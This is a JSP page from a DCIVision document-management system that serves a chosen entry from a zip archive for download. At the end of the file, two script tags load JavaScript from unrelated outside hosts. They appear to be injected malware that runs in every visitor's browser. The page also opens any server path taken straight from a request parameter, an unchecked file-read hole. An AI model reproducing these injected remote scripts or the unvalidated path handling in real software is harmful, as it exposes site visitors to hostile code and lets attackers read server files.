<%
/*
 * @(#)ZipFileDownload.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ZipFileDownload.jsp

  This class is used to retrieve the document content from http

  @author          Phoebe Wong
  @company         DCIVision Limited
  @creation date   22/08/2003
  @version         $Revision: 1.5.4.3 $
*/
%>
<%@ page import="com.dcivision.dms.core.FileDownloader"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.Enumeration"%>
<%//@ page import="java.util.zip.*"%>
<%@ page import="org.apache.tools.zip.*"%>
<%@ page import="java.net.URLConnection"%>
<%@ page import="java.net.URLDecoder"%>
<%@ page import="javax.sql.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="org.apache.struts.action.Action"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/><%
String physicalPathName = request.getParameter("physicalPathName");
boolean isDownload = "Y".equals(request.getParameter("isDownload"));
int Index = TextUtility.parseInteger(request.getParameter("Index"));

ZipFile zipFile = null;
InputStream dataStream = null;

try {
  zipFile = new ZipFile(physicalPathName);
  //Enumeration list = zipFile.entries();
	Enumeration list = zipFile.getEntries();
  int nNumOfFile = 0;
  String sPathName = null;
  String sFileName = null;
  String contentType = null;
  boolean dump_contents = false;  
  while (list.hasMoreElements()) {
    ZipEntry ze = (ZipEntry)list.nextElement();
    if (!dump_contents || ze.isDirectory()) {
      if (!ze.isDirectory()) {
          nNumOfFile++;
      }
      if (nNumOfFile==Index) {
        dataStream = zipFile.getInputStream(ze);      
        contentType = HTTPUtility.getContentType(sFileName);
        sPathName = ze.getName();
        int iPosition = sPathName.lastIndexOf("/");
        sFileName = sPathName.substring(iPosition + 1);
		sFileName = TextUtility.getURLEncodeInUTF8(sFileName);
        String sPath = "";
        if (iPosition > 0){
          sPath = sPathName.substring(0, iPosition + 1);
        }

        FileDownloader fd = new FileDownloader();
        fd.setFileName(sFileName);
        fd.setContentType(contentType);
        fd.setInputStream(dataStream);
        fd.setIsDownload(isDownload);//Add  By Jim Zhou			2006/12/15			EIP-1168
        fd.setRequest(request);
        fd.setResponse(response);
        fd.operate();
        break;
      }
      
      continue;
    }
  }
}
catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
}
finally {
  try { dataStream.close(); } catch (Exception ignore) {} finally { dataStream = null; }
  try { zipFile.close(); } catch (Exception ignore) {} finally { zipFile = null; }
}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>